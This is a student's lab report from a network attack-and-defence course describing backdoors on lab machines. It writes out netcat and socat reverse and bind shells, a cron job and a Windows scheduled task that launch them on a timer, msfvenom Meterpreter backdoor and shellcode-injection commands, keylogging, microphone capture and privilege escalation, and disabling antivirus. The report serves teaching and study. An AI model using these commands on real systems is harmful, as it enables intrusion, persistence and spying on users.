20242309 2026-2027-1 《网络与系统攻防技术》实验二实验报告
20242309 2026-2027-1 《网络与系统攻防技术》实验二实验报告
0.实验问题
-
例举你能想到的一个后门进入到你系统中的可能方式?
答:钓鱼网站
-
例举你知道的后门如何启动起来(win及linux)的方式?
答:win:“计算机管理”中的定时任务启动 linux:crontab 定时任务
-
Meterpreter有哪些给你映像深刻的功能?
答:生成后门简单,获取权限快速且全面,没有文件痕迹。
-
如何发现自己有系统有没有被安装后门?
答:检查任务管理器是否有异常任务,检查日志。
1.基础知识
- ncat
ncat即Netcat。Netcat用于从TCP/UDP连接中读取或发送网络数据。
ncat可用来做端口扫描,端口转发,连接远程系统等
参数解释:
-l:监听端口,监听入站信息
-lv:在指定端口监听,且直观显示所有连接相关信息,避免 “静默监听不知是否成功”
-p:后跟本地端口号
-v:显示端口的信息
-vv:显示端口更详细的信息
- socat
socat可以看做是 Netcat 的加强版。
Socat 的主要特点就是在两个数据流之间建立双向通道,且支持众多协议和链接方式,如IP,TCP,UDP,IPv6,pipe,exec,system,open,proxy,openssl,socket等。
功能:端口转发、端口映射、端口监听、tcp/udp连接、文件传送、nat映射、使用openssl加密传输
- Meterpreter
Meterpreter号称“黑客瑞士军刀”,有五大模块功能:
1.渗透攻击(Exploit),指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
2.攻击载荷(Payload),是我们期望目标系统在被渗透攻击之后去执行的代码。
3.Shellcode,是在渗透攻击是作为攻击载荷运行的一组机器指令,通常用汇编语言编写。
4.模块(Module),指Metasploit框架中所使用的一段软件代码组件,可用于发起渗透攻击或执行某些辅助攻击动作。
5.监听器(Listener),是Metasploit中用来等待网络连接的组件。
2.实验内容
- 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
3.实验过程
3.1环境准备
查询攻击机和目标机的IP地址
本机ip地址为192.168.10.103
kali虚拟机ip地址为192.168.177.128


3.2使用netcat获取主机操作Shell,cron启动某项任务
-
Windows攻击Linux
首先在Windows端启动ncat监听2309(我的学号)端口ncat.exe -l -p 2309
再在Linux虚拟机连接Windows,HOST:192.168.10.103 端口PORT:2309
输入nc 192.168.10.103 2309 -e /bin/sh
-e /bin/bash:连接建立后执行 bash,把 bash 的交互绑定到网络连接

windows下获得一个linux shell,可运行任何指令,如ls

-
Linux获取Windows Shell
首先在Linux端启动ncat监听2309(我的学号)端口
nc -l -p 2309

再在Windows连接Linux,HOST:192.168.177.128 端口PORT:2309
输入ncat.exe -e cmd.exe 192.168.177.128 2309

Linux成功获得Windows cmd

-
cron启动
先在Linux上编写一条定时任务,让反弹连接定时启动
crontab -e -Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。 -crontab指令增加一条定时任务 -e表示编辑 -输入2表示选择vim编辑器crontab命令选项: -u指定一个用户 -l列出某个用户的任务计划 -r删除某个用户的任务(不添加用户即删除所有的任务) -e编辑某个用户的任务cron文件语法: 分 小时 日 月 星期 命令 0-59 0-23 1-31 1-12 0-6 command (取值范围,0表示周日一般一行对应一个任务) Minute Hour Day Month Dayofweek command 分钟 小时 天 月 天每星期

我做到这一步时是17:40,所以我将
47 * * * * /bin/netcat 192.168.177.128 2309 -e /bin/sh
写入,让反向连接在17:47启动

等待任务启动后,cmd成功获得Linux shell,执行ls和whoami指令

3.3使用socat获取主机操作Shell, 任务计划启动
-
Windows获取Linux Shell
kali中输入
socat tcp-listen:2309 system:bash,pty,stderr开放端口2309

windows输入socat - tcp:192.168.177.128:2309连接kali虚拟机,成功获得shell

-
Linux获取Windows Shell
windows cmdz中输入
socat.exe tcp-listen:2309 system:bash,pty,stderr开放2309端口

kali虚拟机输入socat - tcp:192.168.10.103:2309连接windows,成功获取cmd

-
任务计划启动
打开 计算机管理,创建任务,我将其命名为ex2
触发器设置为一次,19:47启用

在操作中,导入解压后的 socat.exe 的路径
在添加参数中填入 tcp-listen:2309 exec:cmd.exe,pty,stderr ,创建完成之后,点击确定。

创建完成之后,等预定时间到,创建的任务开始运行


Linux成功获得Windows Shell

3.4使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上用MSF meterpreter生成后门可执行程序20242309_backdoor.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.177.128 LPORT=2309 -f exe > 20242309_backdoor.exe
-LHOST为反弹回连的IP,在这里是要Windows主动连接kali,即反弹给Kali,也就是Kali的IP:192.168.177.128
-LPORT是回连端口
-p 使用payload。
-payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
-f 生成文件的类型
-> 输出文件名

在Windows上监听2309端口等待接收可执行文件20242309_backdoor.exe
ncat.exe -l 2309 >20242309_backdoor.exe

在Kali上将生成的20242309_backdoor.exe传送给Windows
nc 192.168.10.103 2309 < 20242309_backdoor.exe

Windows中收到文件

配置监听模块
打开 Kali 终端,输入以下命令启动 MSF:
msfconsole
成功启动后,终端会显示 msf6 > 提示符。
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.177.128 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 2309

输入exploit
kali开始监听,在Windows启动20242309_backdoor.exe后门程序(双击)
kali成功获取到Windows Shell

3.5使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
本题前面操作与3.3类似,即通过Windows运行后门程序,kali在msf控制台监听来获得Windows Shell
配置与上述相同:

获取麦克风音频
输入record_mic
使用record_mic 指令可以截获一段音频,使用 -d 设置录制时间,这里我选择设置时长为10s, -d 10

由于我的电脑没有打开摄像头,所以获取摄像头权限失败

获取击键记录
开始获取:keyscan_start
结束获取:keyscan_dump

提权
输入getsystem提取权限

以上输出意思是已经是最高权限了
3.6 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
使用msf生成指定需要的shellcode并注入pwn20242309
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.177.128 LPORT=2309 -x pwn20242309 -f elf > pwntest
输入msfconsole进入msf控制台
配置监听模块
use exploit/multi/handler #使用监听模块,设置payload
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.177.128 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 2309
输入exploit进行监听
再打开另一个终端进入相应文件夹,输入 chmod +x pwntest 否则会出现权限不够无法运行的问题
接着输入运行 ./pwntest
终端1进行响应,攻击成功,输入ls打印桌面文件


4.问题与解决
-
问题1:运行生成的后门程序
20242309_backdoor.exe时,Metasploit无法接收到meterpreter会话,渗透失败。 -
问题1解决方案:经过排查,原因为Windows系统中360主动防御模块拦截了恶意后门程序。参考资料360主动防御模块无法结束进程/删除/停止/禁用,何解之?-知乎,在实验测试环境下临时关闭360主动防御防护,再次运行后门程序,成功建立meterpreter连接,渗透测试正常完成。
-
问题2:PowerShell中用nc接收的文件无法运行。
-
问题2解决方案:经研究,CMD和PowerShell对>重定向的处理机制不同。CMD通常直接保存程序输出的原始字节,而旧版PowerShell会先将字节转换为文本,再编码写入文件。改用CMD就可以完成文件传输。
5.学习感悟与思考
这次实验相比于第一次更加深入的进行了攻击机和靶机的模拟,让我对“攻防”这个概念有了更加深入的了解。ncat、socat、Meterpreter这些工具方便了我进行远程的连接,正确使用这些工具需要保证ip地址和各种参数准确。
通过这次实验,我不仅掌握了多种后门技术的实现方法,更深刻认识到网络安全的重要性。Meterpreter能够轻易获取目标主机的隐私信息,让我意识到日常使用电脑时,点击未知链接、打开不明来源文件等行为存在极大的安全隐患。
参考资料
ExpGuides/0x13_MAL_使用netcat进行反弹链接的shellcode.md · wildlinux/NetSec - Gitee.com

浙公网安备 33010602011771号